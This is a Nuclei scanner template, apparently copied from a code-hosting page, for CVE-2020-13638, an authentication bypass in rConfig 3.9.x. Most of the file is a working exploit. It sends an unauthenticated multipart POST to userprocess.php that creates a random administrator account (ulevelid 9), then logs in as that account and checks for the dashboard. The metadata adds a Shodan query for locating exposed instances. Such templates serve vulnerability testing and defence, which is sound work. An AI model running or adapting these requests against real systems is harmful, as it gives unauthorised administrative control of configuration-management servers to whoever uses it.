102 lines
2.9 KiB
YAML
102 lines
2.9 KiB
YAML
id: CVE-2020-13638
|
|
|
|
info:
|
|
name: rConfig 3.9 - Authentication Bypass(Admin Login)
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
|
|
reference:
|
|
- https://www.rconfig.com/downloads/rconfig-3.9.4.zip
|
|
- https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13638
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-13638
|
|
cwe-id: CWE-269
|
|
epss-score: 0.28154
|
|
epss-percentile: 0.96303
|
|
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: rconfig
|
|
product: rconfig
|
|
shodan-query: http.title:"rConfig"
|
|
tags: cve,cve2020,rconfig,auth-bypass,intrusive
|
|
variables:
|
|
username: "{{to_lower(rand_text_alpha(5))}}"
|
|
password: "{{rand_text_alphanumeric(12)}}!"
|
|
email: "{{rand_base(8)}}@{{rand_base(5)}}.com"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
|
|
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="username"
|
|
|
|
{{username}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="passconf"
|
|
|
|
{{password}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="password"
|
|
|
|
{{password}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
{{email}}
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="editid"
|
|
|
|
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="add"
|
|
|
|
add
|
|
--01b28e152ee044338224bf647275f8eb
|
|
Content-Disposition: form-data; name="ulevelid"
|
|
|
|
9
|
|
--01b28e152ee044338224bf647275f8eb--
|
|
- |
|
|
GET /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /lib/crud/userprocess.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
user={{username}}&pass={{password}}&sublogin=1
|
|
|
|
cookie-reuse: true
|
|
host-redirects: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- "rConfig - Configuration Management"
|
|
- "Logged in as"
|
|
- "dashboadFieldSet"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header_3
|
|
words:
|
|
- 'text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4b0a00483046022100ac9af5b4e23fa8ed7f18ed51c342555d15f7192742654c413e1209fc1f342c69022100ce6a65534d6852fa108e6cb6f09285dc45408b6f2003453f8b8e2f3c80978f39:922c64590222798bb761d5b6d8e72950
|